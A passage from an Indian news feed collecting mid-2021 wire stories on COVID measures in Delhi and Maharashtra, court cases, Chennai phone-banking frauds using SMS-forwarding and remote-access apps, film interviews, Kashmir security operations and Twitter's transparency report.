The hamper is loaded with food items like French cookies, Indian-made French cheese and a variety of appetising breads. The hamper is available on pre-order for Rs3,500 (excluding taxes) with free home delivery within a 5-km radius. The hotel is celebrating it for the first time. Other hotels of this chain celebrate the day with a grand dinner every year. We have a sit-down dinner with guests and French dignitaries in the town every year. To avoid direct contact, we came up with the hampers this time, says Sachin Maheshwary, general manager of the hotel. (With inputs from Akash Umesh Khandke and Shriya Rajachandra
Sahaya Novinston Lobo By

Express News Service

CHENNAI: To kill Monday blues, a bunch of friends decided to visit a famous restaurant in T Nagar for lunch. Mindful of the Covid restrictions, they dialled the phone number listed on the restaurants Google page and asked if a table was available. They then had no idea that they were falling for a brand new variant of the cash transfer con job.

Someone took the call and said that he would call us from another number. Later, he called from another number and asked us to fill out an online form, claiming that the government had ordered all restaurants to store details of their customers, said Kaviya EB (24), a techie from Chennai.

The form even had boxes for ATM card details, CVV number and expiry date. After Kaviya submitted the application, the fraudster sent her a link to download Phoneleash, a mobile application. Apparently, this application forwards text messages in one phone to another phone automatically. Once you install the app it requests you to enter a mobile number to which you want the messages to be forwarded.

Fraudsters con victims to enter their mobile number. This way when the victim receives a one-time password (OTP), the fraudster does not have to call up again since he would have received the same message to his number, said a senior police officer privy to the case.

Kaviya entered the fraudsters number in the app, and proceeded to pay the restaurant Rs 25,000 advance as instructed. However, when I made a transaction, the OTP was not shared to the fraudster. Later, he phoned me and said that most private banks have stronger firewalls that prevent OTP being shared to third party apps. He asked me if I have accounts with any national banks, said Kaviya.

Realising that she was being conned, Kaviya disconnected the call and uninstalled the app. Since the fraudster still kept calling her, Kaviya lodged a complaint with the Kodungaiyur police. In another incident, a 73-year-old man lost Rs 86,500 to fraudsters who operated with a similar modus operandi. The accused took control of the victims mobile phone after making him download the Quick Support TeamViewer application.

On July 9, the victim, a retired port trust staff member residing at Arumbakkam, received a call from a

man who claimed to be a BSNL representative. The man advised the victim to reactivate his SIM card since he has been using it for many years. The elderly man downloaded the Quick Support TeamViewer mobile application and proceeded to pay `10 to the accused through net banking, said a senior police officer.

With the fraudster asking him details of his debit card, the victim grew suspicious and snapped the call. A few minutes later, he received an SMS stating that Rs 86,500 was transferred from his bank account through the Paytm application.

We suspect that the fraudster had noticed the victims net banking id and password, and got the OTP as well since he had remote access to the victims mobile phone, the police officer added. Anna Nagar Cyber Cell is investigating the incident.
By PTI

NEW DELHI: Delhi government on Wednesday told the Delhi High Court that the issue as to whether spas can be re-opened in the national capital amid the ongoing COVID19 pandemic was under its active consideration.

Justice Rekha Palli took on record the statement made by government counsel Naushad Khan on a petition filed by Delhi Wellness Spa Association for re-opening of spas.

The Association claims that its members have valid licenses to run the spas here.

The lawyer informed the court that a petition by owners of two spa centers seeking similar relief was already coming up for hearing on July 20.

The court said it wants a decision on the issue of re-opening by then.

"I want a decision by that time. You are opening everything", Justice Rekha Palli said and asked the lawyer to take instructions.

Khan submitted that a balanced view has to be taken in view of the second wave of the pandemic and the plight of persons affected by the closure.

Senior advocate Sachin Dutta, appearing for Delhi Wellness Spa Association, told the court that keeping spas closed affected as many as 50,000 to 60,000 persons who are associated with the sector.

They are on the verge of starvation, he said and clarified that the plea was not adversarial in nature and the case load of the virus had come down in the national capital.

He added that the government may even chose to impose a condition that those working in spas have to be vaccinated.

Khan objected to the plea saying that the Association here was not a registered association of spa centres.

In its petition filed through HD Thanvi & Associates, the Association has submitted that it is aggrieved by the arbitrary, unlawful, and unwarranted and in-ordinate delay in not opening the spas in the national capital.

It is stated that while all similar activities have been permitted to be opened, such as gym and salon, Delhi government is yet to permit spas to once again start their operation.

On July 5, the court had sought response of the Delhi government and the Centre on the plea filed by owners of two spa centers, alleging inordinate delay in issuing guidelines to reopen spa centres which were closed in April due to the second wave of COVID-19.

The court said that it expected Delhi government to be ready with an explanation as to why spas were not permitted to be open in spite of a January order which directed the reopening of spa centers closed during the first wave of the pandemic.

In the January order, the court stated that the slightly higher percentage of risk due to the proximity of the client and the service provider in spas could be obviated by prescribing stricter measures and safeguards rather than continuing to keep such establishments closed.
By PTI

NEW DELHI: Seeking to bolster healthcare infrastructure in Delhi in anticipation of the third wave of the COVID-19 pandemic, 160 PSA oxygen plants are being installed at various government-run and private facilities across the city, sources said on Wednesday.

Of these 160 plants, 66 of those, including 17 under the PM-CARES were being set up at Delhi government hospitals, 10 plants at central government hospitals and 84 at private facilities, they said.

Delhi Lt Governor Anil Baijal on Wednesday reviewed the status and progress of works on installation of PSA (pressure swing adsorption) oxygen plants here during an online meeting, which was attended by the chief secretary, the principal secretary in the city health department, and other senior officials, sources said.

Baijal, while appreciating the efforts being undertaken to boost healthcare infrastructure, reiterated that the situation faced during the last wave should not be repeated, a source quoted him as saying.

It was informed during the meeting that 160 such oxygen plants with a capacity of 148.11 MT were being installed at various government-run and private hospitals in the national capital, sources said.

The Lt governor inquired if the figure of 160 plants being installed was normative or based on demand, or limited by supply constraints.

It was informed that the figure was based on requirements of around 150 MT (metric ton) posed by hospitals, they said.

Delhi had been reeling under a brutal second wave of the pandemic that is sweeping the country, claiming a massive number of lives daily, with the oxygen supply shortage issue during April-May at various hospitals, adding to the woes.

While daily cases and death counts are steadily falling and positivity rate shrinking, Chief Minister Arvind Kejriwal has cautioned that the chances of the third wave of the pandemic was "quite real" and said that it was working on a war-footing to combat it.

Of the total 160 plants, while 36 had been commissioned at Delhi government hospitals, 27 other plants were expected to be commissioned by August 31.

The remaining three ones, where plants are expected to arrive by September 30, commissioning will be completed by October 15, sources said.

At the Centre-run hospitals, while six out of 10 had already been commissioned, the remaining four were to be commissioned by August 15.

Among the plants for private hospitals, 37 out of 84 plants had been commissioned, while work was in progress on the remaining 47 plants, they added.

While the work on installation of plants at government hospitals was being closely monitored and executed, it was felt that a fixed timeline was necessary to be obtained from the private hospitals also, and be monitored by the government, so as to ensure that plants are installed and made operational in time and before any eventuality.

The Lt governor also stressed upon monitoring and completion of preparatory works in cases, where final commissioning was dependent upon arrival of plants, sources quoted him as saying.

Baijal instructed that the critical dates and timelines committed by the hospitals be monitored and met, and said that he would again review the status accordingly.

Delhi recorded 77 fresh COVID-19 cases and one death while the positivity rate stood at 0.10 per cent, according to a health bulletin on Wednesday.

Seventy-one patients recovered in the last 24 hours, it said.

According to the bulletin, 215 people are in home isolation, a minor increase from the previous day's figure of 214, while the number of containment zones has declined to 472 from 524, a day ago.

There are 688 active cases in the city, up from the previous day's figure of 683.

A total of 76,095 tests, including 54,159 RTPCR/ CBNAAT/TrueNat, were conducted in the last 24 hours, while the rest were rapid antigen tests, the bulletin added.

Out of the 13,715 beds, only 389 are occupied.

Delhi had recorded 76 coronavirus cases and two fatalities while the positivity rate stood at 0.11 per cent on July 12, according to a health bulletin issued earlier in the day.

The Delhi government did not release the health bulletin on Tuesday.

On July 11, the city had recorded 45 COVID-19 cases, the lowest single-day rise in over a year, and three deaths while the positivity rate stood at 0.08 per cent.

According to covid19India.org, a crowd-sourced initiative that collects data on COVID-19 and vaccination in India, Delhi had recorded 17 cases on April 15 last year.

The city has registered 14,35,281 COVID-19 cases since the pandemic started last year.

A total of 14,09,572 patients have recovered so far.

The death toll stands at 25,021, the bulletin stated.

The case fatality rate stands at 1.74 per cent.

On July 10, Delhi had recorded 53 cases with a positivity rate of 0.07 per cent and three deaths.

On July 9, the city had logged 76 cases and one death, while the positivity rate stood at 0.19 per cent.

The national capital had recorded 81 COVID-19 cases with a positivity rate of 0.11 per cent and three deaths on July 8.

A total of 1,29,054 beneficiaries were vaccinated in the last 24 hours, including 36,507 who were given the second dose, thereby making them fully vaccinated.

A total of 90,73,103 beneficiaries have been vaccinated till now and of them, 21,31,907 have been fully vaccinated.

Delhi faced a brutal second wave of the pandemic that claimed a large number of lives daily.

The rapid rise in the number of cases led to a shortage of medical oxygen at various city hospitals.

On April 20, the city had reported a record 28,395 cases.

On April 22, the case positivity rate was 36.2 per cent, the highest so far.

At 448, the highest number of deaths was reported on May 3.
By Express News Service

NEW DELHI: Delhi Police has been fined Rs 25,000 by a Delhi court for mishandling a case linked to the riots of February 2020. Additional sessions judge Vinod Yadav pulled up Delhi Police and observed that the SHO of Bhajanpura and other supervising officers failed miserably in their statutory duties. He said that riot victim Mohammed Nasir can approach a court of law for action against Delhi Police.

Nasir, who was shot in the eye during the riots, had complained against six people in his locality, identifying each one by name. One of the accused is Naresh Gaur, a former BJP MLA. When the police clubbed his complaint with a completely unrelated case, he approached the Metropolitan Magistrate.

ALSO READ | 2020 Delhi riots: Court orders immediate release of JNU and Jamia student activists from jail

The lower court upheld his petition and demanded the police file a FIR in the case, upon which the police challenged the order in the sessions court.

Observing that case diaries have not been maintained in accordance with the law, the court said that when two separate complaints disclosing cognisable offences are filed by two different complainants, there are no provisions under which they can be clubbed.

"If the grievance of the respondent is analysed, then it would be clearly apparent that the respondent had set out a counter version and the same was not covered within the principle of sameness," reads the order.

Questioning how the police gave a clean chit to the accused without any investigation, the judge said: "After looking at the case, it is evident that the police was working to save the accused." The court also told the Delhi Police Commissioner that investigations in such cases be conducted in a proper manner.
By PTI

NEW DELHI: A Delhi court has allowed Tasleem Ahmed, arrested under the stringent Unlawful Activities (Prevention) Act in the northeast Delhi riots conspiracy case, to undergo surgery in government hospital.

Additional Sessions Judge Amitabh Rawat directed the Tihar Jail Superintendent to get Ahmed treated at any government hospital with good medical facilities like Safdarjung Hospital or LNJP Hospital in Delhi.

During the hearing, advocate Mehmood Pracha, representing the accused, apprised the court that even though his client is being treated in jail, he is not getting relief and is at the risk of contracting a serious infection.

He requested the court to allow the accused to undergo surgery in any government hospital except for Deen Dayal Upadhyay (DDU) Hospital.

The counsel said the accused was suffering from hydrocele, which is a type of swelling in the scrotum.

Special Public Prosecutor Amit Prasad said the allegations against Ahmed are serious in nature and that necessary medical treatment can be given to him in the Jail itself.

Besides, the Jail superintendent also submitted a report stating that the general condition of the inmate is stable and satisfactory and was advised scrotal support and oral medications by a doctor on June 11, which are being provided by the prison dispensary.

"Patient's basic blood investigation was done and the patient was scheduled for an outside hospital visit for the planning of surgery but the patient refused to go for the outside hospital," the superintendent further said.

Ahmed along with several others has been booked under the anti-terror law and they are accused of being the "masterminds" of the February 2020 violence, which had left 53 people dead and over 700 injured.

Besides him, Jamia Millia Islamia student Asif Iqbal Tanha, JNU students Natasha Narwal and Devangana Kalita, former student leader Umar Khalid, Jamia Coordination Committee members Safoora Zargar, former AAP councillor Tahir Hussain and several others have also been booked under the stringent law in the case.
P Ramdas By

Express News Service

KOCHI: The Kerala High Court will witness a unique moment in its history with Sr Lucy Kalappura, the nun expelled by her congregation, deciding to argue the case against her eviction from the convent herself, perhaps becoming the first nun to appear and fight a case herself in a court in India. Sr Lucy Kalappura, who was expelled from the Franciscan Clarist Convent in Karakkamala, will attend the virtual hearing in the police protection case scheduled before Justice Raja Vijayaraghavan on Wednesday.

Sr Lucy decided to argue the petition filed by her seeking police protection after her lawyer relinquished the vakalath. I am ready to argue the case myself. Though I had contacted some advocates, they rejected my request. I have served the congregation for more than 39 years and I have not done anything wrong. I have not led a life against the values of the Church. They cannot just throw me out. I have faith in the judicial system, so I decided to argue my case as party-in-person, Sr Lucy told TNIE.

I am not well versed in legal parlance, but I will try my level best to convey the points in laymans language, she added. The case will come up before the High Court on Wednesday.During the last hearing, counsel for Sr Ligi Maria, Mother Superior, FC Convent, Karakkamala, had produced the copy of the decretum issued by the Supremum Tribunal of Signature Apostolicae and it was argued that the right of Sr Lucy to continue as a member of the Franciscan Clarist Congregation (FCC) has come to an end. Henceforth, the petitioner no longer has the right and duty to wear the religious habit of the FCC, and has no right to stay in the convent of the FCC in the midst of religious sisters.

The government pleader had stated that the police protection order passed by the court is being strictly complied with. A beat book is maintained and the police regularly visit the Convent to ensure no one violates law and order.Then the court observed that the continued residence of the petitioner in the Convent after her right to continue as a member of the FCC has extinguished, will only lead to continuous strife and conflicts.

According to Lucy, she only sought an order of police protection from the court and an interim order was passed in favour of her. The order is still in force. She pointed out that the observation regarding the continued stay in the convent is beyond the scope of the contention in the writ petition. A suit is pending in the Munsif Court at Mananthavady demanding a stay on the decision of the congregation to oust her from the convent. She also obtained an injunction order and its not vacated, said Lucy. I will try to convince the High Court about this, said Lucy.
Anupama Mili By

Express News Service

KOCHI: It was a life-long dream for Mahesh Kunjumon, a mimicry artist from Puthenkurish, to meet actor Anil Nedumangad in person. Anil had called him and congratulated him for mimicking his voice and style impeccably. Mahesh was heartbroken when he heard of Anils untimely demise after drowning in the catchment area of a dam in December last year.

At the time of his death, the post-production of Cold Case  the Prithviraj-strarrer  was still underway and they were on a hunt for someone to dub Anils character. Mahesh ended up being their obvious choice. He was slightly nervous in the beginning, because talking in someone elses voice through an entire movie is not easy.

Mimicking someones voice and being them throughout a movie are two different things. Anil had earlier said that it was an honour to be considered among other great actors I mimic. While doing mimicry, we memorise and practice the same dialogues many number of times. But recreating their essence throughout a movie is a tough job, Mahesh said.

Mahesh has been a mimicry artist since he was a kid. He was part of a comedy show on a popular regional channel and was featured on eight episodes since 2018. After the movie released, many people called me and appreciated my effort. Actor Jayasurya also appreciated my work, Mahesh said. Cold Case is his second dubbing project in Malayalam, after dubbing for Vijay Sethupathi in the remake of Master.


By PTI

MUMBAI: Pregnant women will be administered COVID-19 vaccines at 35 inoculation centres in Mumbai from July 15, the city civic body said on Wednesday.

A Brihanmumbai Municipal Corporation (BMC) spokesperson said pregnant women will be given priority while administering jabs at these 35 designated vaccination centres.

On the recommendation of "National Vaccination Technical Advisory Group '' and "National Expert Group" on COVID-19 vaccination, the Union government has added pregnant women in the inoculation list, a BMC release said.

Pregnant women infected with COVID-19, who have been treated with monoclonal antibodies or convalescent plasma, can be vaccinated after 12 weeks of recovery, the civic body said.

According to the BMC's health department, expectant mothers are more likely to catch a severe infection of COVID-19 than other women.

Also, pregnant women infected with COVID-19 have a higher rate of premature delivery.

A total of 62,33,629 citizens have been inoculated against coronavirus in the metropolis till Wednesday.

Of these, 13,68,580 beneficiaries have received the second dose as well, the BMC said.

Presently, Mumbai has 407 active COVID-19 vaccination centres - 286 of the BMC, 20 run by the Maharashtra government and 101 private centres.

Meanwhile, Maharashtra reported 8,602 new coronavirus positive cases and 170 deaths on Wednesday, taking the caseload to 61,81,247 and toll to 1,26,390, a health department official said.

On Tuesday, the state had reported 7,243 cases and 196 fatalities.

A total of 6,067 patients were discharged from hospitals in the last 24 hours, while the number of recoveries rose to 59,44,801.

Maharashtra's recovery rate is 96.17 per cent, while thefatality rate is 2.04 per cent, the official said.

Out of the 4,46,09,276 COVID-19 tests done so far, 2,26,163 were conducted in the last 24 hours and presently.

The current positivity rate is 13.86 per cent.

At present, 5,80,771 people are in home quarantine and 4,309 others in institutional quarantine across the state.

There are 1,06,764 active COVID-19 cases.

The highest 17,389 active patients are in Pune district, followed by Thane and Mumbai with 16,096 and 11,088 patients, respectively.

Of the total 59,44,801 recovered patients, the highest number of 10,36,081 are from Pune district, followed by Mumbai and Thane with 7,00,185 and 5,59,895 cases, respectively, the health department said.

In Mumbai, 619 new COVID-19 cases reported in the last 24 hours, taking the tally to 7,29,263, and the death toll increased to 15,654 with 10 fresh fatalities.

The official said that 358 new cases tested positive in Pune city limits, which pushed its overall tally to 4,99,121, while the fatality count jumped to 8,561 with eight fatalities.

According to the officials, Nagpur, Pimpri-Chinchwad, Nashik, Aurangabad and Amravati municipal corporation areas reported 16, 219, 65, 14 and four new COVID-19 cases, respectively.

In Mumbai circle, which includes Mumbai and its satellite townships, 1,801 persons tested positive, which pushed the tally to 16,19,883, while 31 fresh fatalities took the death toll to 33,119.

In Pune circle, 2,475 new COVID-19 cases were found, pushing the tally of cases to 14,55,629, while 45 fresh fatalities took the toll to 27,196.

With 655 new cases and nine fresh deaths, the tally in Nashik circle rose to 8,99,321 and fatality count to 17,676.

In Kolhapur circle, 3,076 new cases were reported.

With this, its overall infection count rose to 4,59,207, while the death toll increased to 12,712 as 52 persons succumbed to the infection.

Nagpur circle added 208 cases and six fatalities.

The overall tally there is 7,70,003 and death toll is 13,632.

Aurangabad circle's caseload is now 2,82,928 and death toll 6,620; Latur circle's caseload is 3,38,807 and death toll 9,262; Akola circle's caseload is 3,55,323 and death toll is 6,055, the official said.

The coronavirus figures in Maharashtra are as follows: Total cases 61,81,247; new cases 8,602; death toll 1,26,390; recoveries 59,44,801; active cases 1,06,764; new tests 2,26,163.
By PTI

LOS ANGELES: Actor Jennifer Carpenter, who played Debra Morgan on "Dexter", will return for Showtime's reboot of the crime drama mystery television series. Carpenter essayed the role of Debra, the foster sister of Michael C Hall's Dexter and a police officer in the Miami Police Department, for all eight seasons of the original show.

The character was famously killed off in the 2013 series finale. Sources confirmed to The Hollywood Reporter that Carpenter will return from the dead as will John Lithgow, who played Arthur Mitchell aka the "Trinity Killer" in the new limited series.

Showtime declined to comment on her casting. Both Carpenter and Lithgow are expected to appear in flashback scenes as the "Dexter" update has no plans of rewriting the show's original course. It is unclear if any other "Dexter" favourites whose characters were killed off will also return.

The new show will see Hall return as the titular character Dexter Morgan, a conflicted blood-spatter expert for the Miami Police Department who moonlighted as a serial killer. The revival is set 10 years after Dexter went missing in the eye of Hurricane Laura.

It sees the protagonist now living under an assumed name in Iron Lake, a world away from Miami. Original showrunner Clyde Phillips, who oversaw the first four seasons of the series before departing the series, is also returning in the same capacity.

Phillips and Hall will serve as executive producers alongside John Goldwyn, Sara Colleton, Bill Carraro, Scott Reynolds and Marcos Siega, the latter of whom will direct six of the 10 episodes. Siega previously helmed nine episodes of the original series.

Clancy Brown, Julia Jones, Alano Miller, Johnny Sequoyah, Jack Alcott, and David Magidoff also round out the cast of the "Dexter" reboot.
By PTI

MUMBAI: From essaying an intense part in Sanjay Leela Bhansali produced "Malaal" to showcasing his comedic side in Priyadarshan-directed "Hungama 2", it has been a complete change of experience for actor Meezaan Jaffrey.

The 26-year-old actor, who was launched by Bhansali in his home production, said his debut film required him to go through intense preparation but Priyadarshan did not want him to work on his role too much.

"I was taken aback but I was happy as I had no homework to do. When I started the film, I realised how difficult it is (to do comedy). You have to let go of yourself and that comes from experience. For Paresh Rawal ji and all, it was a cakewalk because they have done seven to eight films with Priyan sir, but it was a different world for me. I slowlyadjusted to this way of working, I had to free myself and loosen up as an actor and follow what Priyan sir said," Jaffrey told PTI in an interview.

The actor said that a friend of his father, actor Javed Jaffrey, asked him to meet producer Ratan Jain for a film and next day he was on board after his meeting. "Back then I only knew that it was a film by Priyan sir. Then I was given the narration and met Priyan sir, who liked my work. I asked him if I should do some preparation for the character and he said, '(just) listen to me'," he added.

The movie is a situational comedy, said Jaffrey, adding, he relied completely on the script and followed the vision of his director. "In Priyan sir's film, everyone is playing their parts, the comedy falls flat if you step out of character or the scene. For my character, Priyan sir told me he is an extremely restless guy so I cannot be standing still in any frame. He also told me I should not try to do comedy. Basically, the light hearted moments are not created by the actors, it is created by the situation and dialogues, which comes from the script," he said.

Talking about the impeccable comic timing of his father Javed Jaffrey and grandfather the legendary Jagdeep, the actor said the only thing he has learned from them is to come up with his own style. "My grandfather had his own distinct style, which made him stand out. It is important to have your own identity and style. When my father came in (the industry) he played characters in his own way and never introduced the elements from my grandfather," Meezaan said.

"I have never tried to ape or replicate whatever they did. Also, when I am on set, I forget everything and everyone and I play the character that I would like to play. That brings out my kind of performance. And then over the years, I am sure you will realize that it is a Meezaan kind of performance," he added.

"Hungama 2" was slated to hit theatres on August 14 this year but in May the makers said the film would be released directly on an OTT platform as cinema houses remain shut due to the second wave of the coronavirus pandemic.

Jaffrey said that releasing "Hungama 2" on the digital platform seemed like a seamless choice as the world is still reeling under COVID-19 scare. "In today's time, we don't know what the future of this business is and where the industry is headed in terms of COVID-19 coming in and OTT platforms being introduced. Everyone is adapting to the situation. I would have loved the film to have been released in theatres. But the situation is such and we did wait for a year and it is high time we release the film as times are very sad. At least people can watch it in the safety of their home," he added.

"Hungama 2" will stream on Disney+ Hotstar from July 23.
By PTI

MUMBAI: During her 14 year-long sabbatical from Hindi films, actor Shilpa Shetty Kundra says she was approached to star in a major Hollywood project, which she turned down because she was unwilling to change gears "so drastically".

Shilpa's last full-fledged Bollywood film was in 2007, with filmmaker Anurag Basu's "Life in a Metro" and the Dharmendra-starrer "Apne". The same year, she also emerged as the winner of the British reality TV series "Celebrity Big Brother" season five, which made her a global figure.

Though her Hindi film appearances became few and far between -- with cameos in films like "Om Shanti Om" and "Dostana" -- the actor said she kept getting "really good parts", including an offer from Hollywood.

Shilpa, who has been more active on television as a judge on dance reality shows like "Nach Baliye" and presently "Super Dancer", said refusing the project from Los Angeles wasn't a particularly hard decision as settling down in the US was not her "cup of tea".

"My son was extremely upset with me because I was offered some major stuff even in Hollywood, but I said no to it. To just shift base from Mumbai and settle in Los Angeles is really not my cup of tea," the 46-year-old actor told PTI in an interview.

Shilpa is married to businessman Raj Kundra and they have two children, son Viaan (nine) and daughter Samisha (one). Though the actor views it as a "great opportunity lost", she is content working in the Hindi film industry for now, and would switch to the other side if she gets an opportunity after her kids are of a certain age.

"I'm clear about what I want. I love doing work here. It's a great opportunity lost, but I'm so happy with whatever I have. I'd be so unhappy to just leave my family and shift gears so drastically. It's too much to give and I don't think I was ready for that. Maybe once my kids are 15, then I would (consider) if I still look this way!" she added.

Shilpa is set to return to the silver screen with her latest comedy feature, "Hungama 2". Directed by Priyadarshan, the film is scheduled to be released on Disney+ Hotstar on July 23.

Having made her debut at the age of 17 with the 1993 Abbas-Mustan thriller "Baazigar", the actor said it was a conscious decision to cut down on work. "I had reached a saturation point, which happens to a lot of artistes. After 'Life in a Metro' and 'Apne', people started offering me the same kind of roles. They were not really interesting and I stayed away and took that sabbatical," she said.

What also pushed her towards taking a break was her personal life. Shilpa said she was excited to start a new phase of her life in the late 2000s and had decided she won't work for some time when she has children.

"Soon after, I had Viaan. I had decided when I would have my first child, I would dedicate all my time to the baby. I was told the first seven years of a child is extremely important, they are highly impressionable. So I made that time. My family was, is and will continue to be my first priority," Shilpa said.

The actor, whose film credits include "Dhadkan", "Phir Milenge" and "Dus", said she now has carefully designed shooting schedules. "That's why it has taken me 14 years to say yes (to a film). My son is now nine, I feel he doesn't need me as much. My daughter does. But I'm thankful to be in a position to say yes to only those few things that I really want to do and be in a position to balance my personal and professional life," she added.

"Hungama 2" also stars Paresh Rawal, Meezaan, and Pranitha Subhash.
Fayaz Wani By

Express News Service

SRINAGAR: There has been a surge in the number of gunfights between terrorists and security forces in Jammu and Kashmir. In the last two weeks alone, there were seven gunfights, killing 18 terrorists and an Army personnel

Of the seven encounters, five took place in south Kashmir and one each in Srinagar and north Kashmir.

On July 10, three Lashkar terrorists were killed in an encounter with security forces in Anantnag. One of them, identified as Lashkar district commander Arif Hajam, was involved in the killing of Army jawan Havaldar Manzoor Beigh of 162 Territorial Army (TA) on June 6, 2019.

On July 8, four local terrorists, three belonging to Lashkar-e-Toiba and another from Albadar, were killed in two gunfights in south Kashmirone in Pulwama and another in Kulgam. On July 7, a top commander of Hizbul Mujahideen Mehraj-ud-Din Halwai alias Ubaid, who was active in militancy since 2012 and was also tech-savvy, was killed in an encounter after his arrest in Kupwara.

On July 2, five Lashkar terrorists, including a Pakistani citizen, were killed in a gunfight with troops in south Kashmirs Pulwama district. One of the slain militants was identified as LeT district commander as Nishaz Lone alias Khitab.
By PTI

NEW DELHI: BJP leader Suvendu Adhikari has moved the Supreme Court seeking transfer of Chief Minister Mamata Banerjee's election petition challenging his win in assembly polls from Nandigram constituency outside West Bengal.

The BJP leader seeks transfer of Banerjee's plea, pending in the Calcutta High Court, outside the state, lawyer Kabir Bose said.

Adhikari, a former close aide of the chief minister, who joined BJP, is presently holding the post of the leader of opposition in the state assembly after defeating Banerjee in a closely-contested polls by the margin of 1,956 votes.

Meanwhile, the West Bengal CID officials on Wednesday visited house of Adhikary in Contai in connection with the probe into death of his security personnel around three years ago, a senior officer said.

Besides, talking to the two security personnel who were former colleagues of AdhikarI's ex-bodyguard Subhabrata Chakraborty, and are still posted there, the CID sleuths also talked to the BJP leader's younger brother Dibyendu Adhikari, he added.

Adhikari's personal security guard had allegedly shot himself dead with his service revolver in 2018 in a police barrack in Kanthi in Purba Medinipur district.

Earlier, in the morning, the CID officers went to Contai police station and went through the documents related to the investigation carried out by the police in the matter.

"We have also collected some necessary documents in connection with the probe from Contai police station. We have also held discussions with the police officers there and had their view about the case," the officer said.

The sleuths also visited the barrack where Chakraborty had shot himself using his service revolver in October 2018.

The security personnels wife Suparna Chakrabarty had filed a fresh complaint with the Contai police station demanding a probe into her husbands death.

Chakraborty, who was from the state armed police, was part of Adhikaris security team since he was an MP and continued to be in the team after he became a minister in the Mamata Banerjee government in 2015.

The reopening of the case triggered verbal duel between rivals BJP and the TMC.

Referring to the visit of CID team to Adhikari's residence, BJP spokesman Shamik Bhattacharya told reporters in Kolkata, "we wonder why the case has been raked up after two and half years?" "When the incident happened Suvendu Adhikari was a powerful minister in Mamata Banerjee cabinet.

Now when he has left Trinamool Congress to join BJP and defeated the chief minister from Nandigram all these things-filing of FIR and visit of CID team are happening.

"We guess there is a deep-rooted conspiracy behind it. This is part of revenge politics," Bhattacharya said.

Trinamool Congress MLA from Mahisadal and cousin of the deceased bodyguard, Tilak Chakraborty said, "why the death was passed off as a suspected case of suicide? We want the truth to come out."

Younger brother of Suvendu Adhikari and MP Dibyendu Adhikari said, "I think there is a deep-rooted conspiracy behind digging up an over two years old case. But, we are not afraid of any probe."
By Express News Service

NEW DELHI: Continued gross violations of Covid-19 appropriate behaviour can nullify the gains made against the pandemic so far, the health ministry warned on Tuesday, even as it maintained that there has been a consistent decline in coronavirus cases in the last few weeks.

At the health ministrys briefing on Tuesday, Lav Agarwal, joint secretary in the health ministry, expressed concern over violations of protocol and said people have been talking about a third wave like it was a weather update. He added that many were failing to understand that adherence to Covid-appropriate behaviour, or the lack of it, is what will prevent or cause any future waves.

The health ministrys remark comes a day after Prime Minister Narendra Modi voiced concern about people thronging tourists spots without masks. In a virtual meeting with administrators of states and Union Territories, the PM had said: Theres a need to stay alert and act fast to check further spread of virus.

At the briefing on Tuesday, NITI Aayog Member (Health) Dr VK Paul said globally, a third wave of Covid-19 is being seen and called on people to make efforts to ensure that it does not happen.

Agarwal said approximately 73.4 per cent of the new Covid cases reported so far in July are from Kerala, Maharashtra, Tamil Nadu, Andhra Pradesh and Odisha. He said 55 districts reported a case positivity rate of more than 10 per cent in the week ending July 13.

Central teams have been deputed to Maharashtra, Chhattisgarh, Assam, Meghalaya, Odisha, Mizoram, Arunachal Pradesh, Manipur, Nagaland and Tripura to support them in Covid-19 management. Indias Covid death toll climbed to 4,10,784 on Tuesday, with 2,020 new deaths recorded after Madhya Pradesh reconciled its fatality data. The infection tally rose to 3,09,05,819, according to the health ministry.
By PTI

BILASPUR: The Chhattisgarh High Court has granted permission to a 15-year-old rape victim to terminate her less than 20-week pregnancy, an official said on Wednesday.

A single bench of Justice Goutam Bhaduri on Tuesday passed the order directing that the victim is entitled to medical termination of pregnancy, the petitioner's lawyer Anis Tiwari said.

In the order, Justice Bhaduri said that it is obvious that if the victim was subjected to rape and if she is forced to give birth to a child, she would have to face a lifelong anguish, besides the fact that the child would also have to face disdain of the society, the lawyer said.

The court further stated that in order to carry out the abortion, the state government will have to form a panel of expert doctors at the district hospital in Korba as early as possible, and the hospital must take due care of the victim's health and provide her all the medical support.

The court also directed that the DNA of the foetus should be preserved considering the fact that the victim has lodged a complaint of rape, and the information may be required at a future date, Tiwari said, adding that the girl has been directed to appear at the district hospital in Korba on July 14.
By ANI

NEW DELHI: Ahead of the monsoon session of Parliament, Bharatiya Janata Party's Parliamentary Party Executive meeting is scheduled to be held on July 18, sources said.

According to them, a separate meeting of the National Democratic Alliance (NDA) floor leaders is also scheduled for the same day.

The information comes a day after senior BJP leaders met on Tuesday to deliberate on the party's strategy for the monsoon session of Parliament which begins on July 19.

Sources said the meeting took place at the residence of Defence Minister Rajnath Singh and was attended by BJP chief JP Nadda, Union Ministers Amit Shah, Dharmendra Pradhan, Bhupendra Yadav, Pralhad Joshi, Arjun Ram Meghwal.

Twenty senior BJP leaders attended the meeting, the sources said.

The monsoon session of parliament is expected to be stormy with the opposition gearing up to attack the BJP-led government on a range of issues including price rise, increasing cost of diesel and petrol and issues related to tackling of COVID-19 pandemic.

Sources stated that the meeting went on for over an hour and discussed the ruling party's strategy for the session, which will be the first after assembly polls in West Bengal, Tamil Nadu, Kerala, Assam and Puducherry earlier this year.

The government also has a series of legislations on its agenda in the parliament session which will conclude on August 13.
By PTI

NEW DELHI: India was the single largest source of government requests for account information that Twitter received during the July-December 2020 period, accounting for 25 per cent of the global volume, the microblogging platform said on Wednesday.

This is the first time since Twitter started publishing its transparency report in 2012 where the US is not the top global requester, the company said.

A total of 14,561 government requests were received globally, which includes 12,109 routine and 2,452 emergency requests in the second half of 2020.

India accounted for 3,615 requests (3,463 routine requests and 152 emergency requests) in the same time frame.

Twitter brings out with a biannual transparency report where it shares details on the number of government and legal requests, removal requests and data around accounts actioned for various violations and breach of rules.

India also ranked second in terms of volume of legal demands for content removal, after Japan, Twitter said in a blog that provided an update to its transparency report.

It is pertinent to mention here that Twitter had come under fire over its failure to comply with the IT rules in India, despite repeated reminders from the government.

The government has also confronted Twitter over multiple instances in the past months, including during the farmers' protest and later when it tagged political posts of several leaders of the ruling party BJP as 'manipulated media'.

Matters came to a head when non-compliance with new IT rules led to Twitter losing its legal shield as an intermediary in the country, and becoming liable for any unlawful content posted by its users.

Twitter -- which has an estimated 1.75 crore users in India -- recently appointed a Resident Grievance Officer, days after it designated a Chief Compliance Officer, and also released its first India Transparency Report on Sunday to comply with the new IT rules.

In its blog on Wednesday, Twitter said it produced some or all of the requested information in response to 30 per cent of the global information requests by governments in July-December 2020 period.

